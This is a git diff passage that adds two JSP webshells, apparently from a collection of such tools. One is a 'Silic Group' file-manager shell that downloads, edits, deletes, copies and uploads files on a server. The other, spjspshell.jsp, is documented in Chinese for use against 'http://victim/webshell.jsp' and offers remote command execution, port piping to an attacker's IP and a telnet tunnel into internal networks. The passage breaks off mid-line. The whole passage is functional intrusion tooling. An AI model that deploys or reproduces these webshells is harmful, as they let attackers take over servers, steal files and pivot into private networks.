"s": time + "s"; + } +} + public class FileInfo { + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} +public class HttpMultiPartParser { + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
    \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
    "); + sbEdit.append(""); + sbEdit.append("
    "); +} +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
    \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

    "); + sbCopy.append("目标文件:

    "); + sbCopy.append(" "); + sbCopy.append("

     \r\n"); + sbCopy.append("

    "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

    目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

    目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + sbSaveCopy.append("原始文件 :"+strPath+"

    "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

    "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

    "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

    建立文件或目录失败"); + } +} +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

    建立文件或目录失败"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + +::Silic Group:: + + +

    + + + + + + +
    + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
    - - - - - - - - - - - \r\n "); + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
    "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> +
    + + + + +
    +
    All Rights Reserved, blackbap.org © Silic Group Inc.
    diff --git a/jsp/spjspshell.jsp b/jsp/spjspshell.jsp new file mode 100644 index 0000000..b36557a --- /dev/null +++ b/jsp/spjspshell.jsp @@ -0,0 +1,814 @@ +<% +/* +* WEBSHELL.JSP +* +* Author: lovehacker +* E-mail: wangyun188@hotmail.com +* +* 使用方法: +* ]http://victim/webshell.jsp?[options] +* options: +* action=piped&remoteHost=&remotePort=&myIp=&myPort= +* action=tunnel&remoteHost=&remotePort=&myPort= +* action=login&username=&password=&myPort= +* action=send&myShell=&myPort=&cmd= +* action=close&myPort= +* action=shell&cmd= +* 例子: +* action=piped&remoteHost=192.168.0.1&remotePort=25&myIp=218.0.0.1&myPort=12345 -- 将192.168.0.1的25端口与218.0.0.1的12345端口连接起来(可以先用NC监听12345端口)。适用于你无法直接访问已控制的WEB服务器的内网里某机器的某端口,而防火墙又未过滤该WEB服务器向外的连接。 +* action=tunnel&remoteHost=192.168.0.1&remotePort=23&myPort=65534 -- 实现通过访问该webshell.jsp访问内网某主机telnet服务的功能。(原本想实现通过访问webshell.jsp实现对内网任意服务访问的功能,但jsp功能有限实现起来较为复杂),适用于你控制的机器只开了80端口,并且防火墙不允许它访问Internet,而你又非常想访问它内网某主机的Telnet服务:-) +* action=login&username=root&password=helloroot&myPort=65534 -- 上一步只是告诉了要Telnet那台机器,这一步才开始真正登陆,你要输入要telnet主机的正确的用户名密码才行喔,要不然谁也没办法。 +* action=send&myShell=&myPort=&cmd= -- 上一步如果顺利完成,那么你就可以在上边执行你想执行的命令了。myShell这个参数是结束标记,否则无法知道数据流什么时间该结束(一定要写对喔,否则嘿嘿,就麻烦罗)。cmd这个参数就是你要执行的命令了,比如:“which ssh”,建议你这样玩:myShell=lovehacker&cmd=ls -la;echo lovehacker。 +* action=close&myPort= -- 你是退出了telnet登陆,但程序在主机上开放的端口还没关闭,所以你要再执行这个命令,现场打扫干净嘛。 +* action=shell&cmd= -- 在你控制的这台机器上执行命令。Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:\winnt\win.ini +* 程序说明: +* 想通过jsp实现telnet代理的时候着实头痛了一把,每个请求都是一个新的线程,client socket去连接 +* telnet服务只能批量命令,无法实现与用户的交互,后来想了个笨办法:把telnet的过程分步完成,接 +* 收到tunnel命令后,先起两个线程,一个监听端口等待连接,一个先和远程服务器建立好端口连接并一 +* 直不断开,这下server socket再一次一次的收数据,一次次的转发到远程服务器,就可以记录状态,实 +* 现和用户的交互了,但总觉得这办法太笨,如果用JSP实现telnet代理功能,你有更好的办法的话请一定 +* 要来信告诉我。 +* 版权说明: +* 本身实现Telnet的功能我也是在人家代码的基础上修改的,所以:版权没有,你可以任意修改、复制。 +* 只是加了新功能别忘了Mail一份给我喔! +* +* +*/ +%> +<%@ page import="java.io.*" %> +<%@ page import="java.net.*" %> +<%@ page import="java.util.*" %> +<%@ page import="java.awt.Dimension" %> +<% +class redirector implements Runnable +{ +private redirector companion = null; +private Socket localSocket, remoteSocket; +private InputStream from; +private OutputStream to; +private byte[] buffer = new byte[4096]; + +public redirector(Socket local, Socket remote) +{ +try { +localSocket = local; +remoteSocket = remote; +from = localSocket.getInputStream(); +to = remoteSocket.getOutputStream(); +} catch(Exception e) {} +} + +public void couple(redirector c) { +companion = c; +Thread listen = new Thread(this); +listen.start(); +} + +public void decouple() { companion = null; } + +public void run() +{ +int count; +try { +while(companion != null) { +if((count = from.read(buffer)) < 0) +break; +to.write(buffer, 0, count); +} +} catch(Exception e) {} +try { +from.close(); +to.close(); +localSocket.close(); +remoteSocket.close(); +if(companion != null) companion.decouple(); +} catch(Exception io) {} +} +} + +class redirector1 implements Runnable +{ +private redirector1 companion = null; +private Socket localSocket, remoteSocket; +private InputStream from; +private OutputStream to; +private byte[] buffer = new byte[4096]; + +public redirector1(Socket local, Socket remote) +{ +try { +localSocket = local; +remoteSocket = remote; +from = localSocket.getInputStream(); +to = remoteSocket.getOutputStream(); +} catch(Exception e) {} +} + +public void couple(redirector1 c) { +companion = c; +Thread listen = new Thread(this); +listen.start(); +} + +public void decouple() { companion = null; } + +public void run() +{ +String tmp = ""; +int count; +try { +while(companion != null) { +if((count = from.read(buffer)) < 0) break; +tmp = new String(buffer); +if(tmp.startsWith("--GoodBye--")) +{ +from.close(); +to.close(); +remoteSocket.close(); +localSocket.close(); +System.exit(1); +} +to.write(buffer, 0, count); +} +} catch(Exception e) {} +try { +if(companion != null) companion.decouple(); +} catch(Exception io) {} +} +} + +class piped implements Runnable +{ +String remoteHost1,remoteHost2; +int remotePort1, remotePort2; + +Thread listener, connection; + + +public piped(String raddr1,int rport1, String raddr2, int rport2) +{ +remoteHost1 = raddr1; remotePort1 = rport1; +remoteHost2 = raddr2; remotePort2 = rport2; +listener = new Thread(this); +listener.setPriority(Thread.MIN_PRIORITY); +listener.start(); +} + +public void run() +{ +Socket destinationSocket1 = null; +Socket destinationSocket2 = null; +try { +destinationSocket1 = new Socket(remoteHost1,remotePort1); +destinationSocket2 = new Socket(remoteHost2, remotePort2); +redirector r1 = new redirector(destinationSocket1, destinationSocket2); +redirector r2 = new redirector(destinationSocket2, destinationSocket1); +r1.couple(r2); +r2.couple(r1); +} catch(Exception e) { +try { +DataOutputStream os = new DataOutputStream(destinationSocket2.getOutputStream()); +os.writeChars("Remote host refused connection.\n"); +destinationSocket2.close(); +} catch(IOException ioe) { } +} +} +} + +class tunnel implements Runnable +{ +String remoteHost; +int localPort, remotePort; + +Thread listener, connection; + +ServerSocket server; + +public tunnel(int lport, String raddr, int rport) +{ +localPort = lport; +remoteHost = raddr; remotePort = rport; + +try { +server = new ServerSocket(localPort); +} catch(Exception e) {} + +listener = new Thread(this); +listener.setPriority(Thread.MIN_PRIORITY); +listener.start(); +} + +public void run() +{ +Socket destinationSocket = null; +try{ +destinationSocket = new Socket(remoteHost, remotePort); +}catch(Exception e){} +while(true) +{ +Socket localSocket = null; +try { +localSocket = server.accept(); +} catch(Exception e) { +continue; +} +try { +redirector1 r1 = new redirector1(localSocket, destinationSocket); +redirector1 r2 = new redirector1(destinationSocket, localSocket); +r1.couple(r2); +r2.couple(r1); +} catch(Exception e) { +try { +DataOutputStream os = new DataOutputStream(localSocket.getOutputStream()); +os.writeChars("Remote host refused connection.\n"); +localSocket.close(); +} catch(IOException ioe) {} +continue; +} +} +} +} + +class TelnetIO +{ +public String toString() { return "$Id: TelnetIO.java,v 1.10 1998/02/09 10:22:18 leo Exp $"; } + +private int debug = 0; + +private byte neg_state = 0; + +private final static byte STATE_DATA = 0; +private final static byte STATE_IAC = 1; +private final static byte STATE_IACSB = 2; +private final static byte STATE_IACWILL = 3; +private final static byte STATE_IACDO = 4; +private final static byte STATE_IACWONT = 5; +private final static byte STATE_IACDONT = 6; +private final static byte STATE_IACSBIAC = 7; +private final static byte STATE_IACSBDATA = 8; +private final static byte STATE_IACSBDATAIAC = 9; + +private byte current_sb; + +private final static byte IAC = (byte)255; + +private final static byte EOR = (byte)239; + +private final static byte WILL = (byte)251; + +private final static byte WONT = (byte)252; + +private final static byte DO = (byte)253; + +private final static byte DONT = (byte)254; + +private final static byte SB = (byte)250; + +private final static byte SE = (byte)240; + +private final static byte TELOPT_ECHO = (byte)1; /* echo on/off */ + +private final static byte TELOPT_EOR = (byte)25; /* end of record */ + +private final static byte TELOPT_NAWS = (byte)31; /* NA-WindowSize*/ + +private final static byte TELOPT_TTYPE = (byte)24; /* terminal type */ + +private final byte[] IACWILL = { IAC, WILL }; +private final byte[] IACWONT = { IAC, WONT }; +private final byte[] IACDO = { IAC, DO }; +private final byte[] IACDONT = { IAC, DONT }; +private final byte[] IACSB = { IAC, SB }; +private final byte[] IACSE = { IAC, SE }; + +private final byte TELQUAL_IS = (byte)0; + +private final byte TELQUAL_SEND = (byte)1; + +private byte[] receivedDX; + +private byte[] receivedWX; + +private byte[] sentDX; + +private byte[] sentWX; + +private Socket socket; +private BufferedInputStream is; +private BufferedOutputStream os; + +//private StatusPeer peer = this; /* peer, notified on status */ + +public void connect(String address, int port) throws IOException { +if(debug > 0) System.out.println("Telnet.connect("+address+","+port+")"); +socket = new Socket(address, port); +is = new BufferedInputStream(socket.getInputStream()); +os = new BufferedOutputStream(socket.getOutputStream()); +neg_state = 0; +receivedDX = new byte[256]; +sentDX = new byte[256]; +receivedWX = new byte[256]; +sentWX = new byte[256]; +} + +public void disconnect() throws IOException { +if(debug > 0) System.out.println("TelnetIO.disconnect()"); +if(socket !=null) socket.close(); +} + +public void connect(String address) throws IOException { +connect(address, 23); +} + +//public void setPeer(StatusPeer obj) { peer = obj; } + +public int available() throws IOException +{ +return is.available(); +} + +public byte[] receive() throws IOException { +int count = is.available(); +byte buf[] = new byte[count]; +count = is.read(buf); +if(count < 0) throw new IOException("Connection closed."); +if(debug > 1) System.out.println("TelnetIO.receive(): read bytes: "+count); +buf = negotiate(buf, count); +return buf; +} + +public void send(byte[] buf) throws IOException { +if(debug > 1) System.out.println("TelnetIO.send("+buf+")"); +os.write(buf); +os.flush(); +} + +public void send(byte b) throws IOException { +if(debug > 1) System.out.println("TelnetIO.send("+b+")"); +os.write(b); +os.flush(); +} + +private void handle_sb(byte type, byte[] sbdata, int sbcount) +throws IOException +{ +if(debug > 1) +System.out.println("TelnetIO.handle_sb("+type+")"); +switch (type) { +case TELOPT_TTYPE: +if (sbcount>0 && sbdata[0]==TELQUAL_SEND) { +String ttype; +send(IACSB);send(TELOPT_TTYPE);send(TELQUAL_IS); +/* FIXME: need more logic here if we use +* more than one terminal type +*/ +Vector vec = new Vector(2); +vec.addElement("TTYPE"); +ttype = (String)notifyStatus(vec); +if(ttype == null) ttype = "dumb"; +byte[] bttype = new byte[ttype.length()]; + +ttype.getBytes(0,ttype.length(), bttype, 0); +send(bttype); +send(IACSE); +} + +} +} + +public Object notifyStatus(Vector status) { +if(debug > 0) +System.out.println("TelnetIO.notifyStatus("+status+")"); +return null; +} + +private byte[] negotiate(byte buf[], int count) throws IOException { +if(debug > 1) +System.out.println("TelnetIO.negotiate("+buf+","+count+")"); +byte nbuf[] = new byte[count]; +byte sbbuf[] = new byte[count]; +byte sendbuf[] = new byte[3]; +byte b,reply; +int sbcount = 0; +int boffset = 0, noffset = 0; +Vector vec = new Vector(2); + +while(boffset < count) { +b=buf[boffset++]; + +if (b>=128) +b=(byte)((int)b-256); +switch (neg_state) { +case STATE_DATA: +if (b==IAC) { +neg_state = STATE_IAC; +} else { +nbuf[noffset++]=b; +} +break; +case STATE_IAC: +switch (b) { +case IAC: +if(debug > 2) +System.out.print("IAC "); +neg_state = STATE_DATA; +nbuf[noffset++]=IAC; +break; +case WILL: +if(debug > 2) +System.out.print("WILL "); +neg_state = STATE_IACWILL; +break; +case WONT: +if(debug > 2) +System.out.print("WONT "); +neg_state = STATE_IACWONT; +break; +case DONT: +if(debug > 2) +System.out.print("DONT "); +neg_state = STATE_IACDONT; +break; +case DO: +if(debug > 2) +System.out.print("DO "); +neg_state = STATE_IACDO; +break; +case EOR: +if(debug > 2) +System.out.print("EOR "); +neg_state = STATE_DATA; +break; +case SB: +if(debug > 2) +System.out.print("SB "); +neg_state = STATE_IACSB; +sbcount = 0; +break; +default: +if(debug > 2) +System.out.print( +" " +); +neg_state = STATE_DATA; +break; +} +break; +case STATE_IACWILL: +switch(b) { +case TELOPT_ECHO: +if(debug > 2) +System.out.println("ECHO"); +reply = DO; +vec = new Vector(2); +vec.addElement("NOLOCALECHO"); +notifyStatus(vec); +break; +case TELOPT_EOR: +if(debug > 2) +System.out.println("EOR"); +reply = DO; +break; +default: +if(debug > 2) +System.out.println( +"" +); +reply = DONT; +break; +} +if(debug > 1) +System.out.println("<"+b+", WILL ="+WILL+">"); +if ( reply != sentDX[b+128] || +WILL != receivedWX[b+128] +) { +sendbuf[0]=IAC; +sendbuf[1]=reply; +sendbuf[2]=b; +send(sendbuf); +sentDX[b+128] = reply; +receivedWX[b+128] = WILL; +} +neg_state = STATE_DATA; +break; +case STATE_IACWONT: +switch(b) { +case TELOPT_ECHO: +if(debug > 2) +System.out.println("ECHO"); + +vec = new Vector(2); +vec.addElement("LOCALECHO"); +notifyStatus(vec); +reply = DONT; +break; +case TELOPT_EOR: +if(debug > 2) +System.out.println("EOR"); +reply = DONT; +break; +default: +if(debug > 2) +System.out.println( +"" +); +reply = DONT; +break; +} +if ( reply != sentDX[b+128] || +WONT != receivedWX[b+128] +) { +sendbuf[0]=IAC; +sendbuf[1]=reply; +sendbuf[2]=b; +send(sendbuf); +sentDX[b+128] = reply; +receivedWX[b+128] = WILL; +} +neg_state = STATE_DATA; +break; +case STATE_IACDO: +switch (b) { +case TELOPT_ECHO: +if(debug > 2) +System.out.println("ECHO"); +reply = WILL; +vec = new Vector(2); +vec.addElement("LOCALECHO"); +notifyStatus(vec); +break; +case TELOPT_TTYPE: +if(debug > 2) +System.out.println("TTYPE"); +reply = WILL; +break; +case TELOPT_NAWS: +if(debug > 2) +System.out.println("NAWS"); +vec = new Vector(2); +vec.addElement("NAWS"); +Dimension size = (Dimension) +notifyStatus(vec); +receivedDX[b] = DO; +if(size == null) +{ +/* this shouldn't happen */ +send(IAC); +send(WONT); +send(TELOPT_NAWS); +reply = WONT; +sentWX[b] = WONT; +break; +} +reply = WILL; +sentWX[b] = WILL; +sendbuf[0]=IAC; +sendbuf[1]=WILL; +sendbuf[2]=TELOPT_NAWS; +send(sendbuf); +send(IAC);send(SB);send(TELOPT_NAWS); +send((byte) (size.width >> 8)); +send((byte) (size.width & 0xff)); +send((byte) (size.height >> 8)); +send((byte) (size.height & 0xff)); +send(IAC);send(SE); +break; +default: +if(debug > 2) +System.out.println( +"" +); +reply = WONT; +break; +} +if ( reply != sentWX[128+b] || +DO != receivedDX[128+b] +) { +sendbuf[0]=IAC; +sendbuf[1]=reply; +sendbuf[2]=b; +send(sendbuf); +sentWX[b+128] = reply; +receivedDX[b+128] = DO; +} +neg_state = STATE_DATA; +break; +case STATE_IACDONT: +switch (b) { +case TELOPT_ECHO: +if(debug > 2) +System.out.println("ECHO"); +reply = WONT; +vec = new Vector(2); +vec.addElement("NOLOCALECHO"); +notifyStatus(vec); +break; +case TELOPT_NAWS: +if(debug > 2) +System.out.println("NAWS"); +reply = WONT; +break; +default: +if(debug > 2) +System.out.println( +"" +); +reply = WONT; +break; +} +if ( reply != sentWX[b+128] || +DONT != receivedDX[b+128] +) { +send(IAC);send(reply);send(b); +sentWX[b+128] = reply; +receivedDX[b+128] = DONT; +} +neg_state = STATE_DATA; +break; +case STATE_IACSBIAC: +if(debug > 2) System.out.println(""+b+" "); +if (b == IAC) { +sbcount = 0; +current_sb = b; +neg_state = STATE_IACSBDATA; +} else { +System.out.println("(bad) "+b+" "); +neg_state = STATE_DATA; +} +break; +case STATE_IACSB: +if(debug > 2) System.out.println(""+b+" "); +switch (b) { +case IAC: +neg_state = STATE_IACSBIAC; +break; +default: +current_sb = b; +sbcount = 0; +neg_state = STATE_IACSBDATA; +break; +} +break; +case STATE_IACSBDATA: +if (debug > 2) System.out.println(""+b+" "); +switch (b) { +case IAC: +neg_state = STATE_IACSBDATAIAC; +break; +default: +sbbuf[sbcount++] = b; +break; +} +break; +case STATE_IACSBDATAIAC: +if (debug > 2) System.out.println(""+b+" "); +switch (b) { +case IAC: +neg_state = STATE_IACSBDATA; +sbbuf[sbcount++] = IAC; +break; +case SE: +handle_sb(current_sb,sbbuf,sbcount); +current_sb = 0; +neg_state = STATE_DATA; +break; +case SB: +handle_sb(current_sb,sbbuf,sbcount); +neg_state = STATE_IACSB; +break; +default: +neg_state = STATE_DATA; +break; +} +break; +default: +if (debug > 2) +System.out.println( +"This should not happen: "+ +neg_state+" " +); +neg_state = STATE_DATA; +break; +} +} +buf = new byte[noffset]; +System.arraycopy(nbuf, 0, buf, 0, noffset); +return buf; +} +} + +class TelnetConnect +{ +TelnetIO tio = new TelnetIO(); +int port = 0; +public TelnetConnect(int port) +{ +this.port = port; +} + +public void connect() +{ +try { +tio.connect("localhost",port); +} catch(IOException e) {} +} + +public void disconnect() +{ +try{ +tio.disconnect(); +}catch(IOException e){} +} + +private String wait(String prompt) +{ +String tmp = ""; +do { +try { +tmp += new String(tio.receive(), 0); +}catch(IOException e) {} +} while(tmp.indexOf(prompt) == -1); +return tmp; +} + +private byte[] receive() +{ +byte[] temp = null; +try{ +temp = tio.receive(); +}catch(IOException e){} +return temp; +} + +private String waitshell() +{ +String tmp = ""; +do { +try { tmp += new String(tio.receive(), 0); } +catch(IOException e) {} +} while((tmp.indexOf("$") == -1)&&(tmp.indexOf("#") == -1)&&(tmp.indexOf("%") == -1)); +return tmp; +} + +private void send(String str) +{ +byte[] buf = new byte[str.length()]; +str.getBytes(0, str.length(), buf, 0); +try { tio.send(buf); } catch(IOException e) {} +} +} +%> +<% +String action = request.getParameter("action"); +String cmd = request.getParameter("cmd"); +String remoteHost = request.getParameter("remoteHost"); +String myIp = request.getParameter("myIp"); +String myPort = request.getParameter("myPort"); +String remotePort = request.getParameter("remotePort"); +String username = request.getParameter("username"); +String password = request.getParameter("password"); +String myShell = 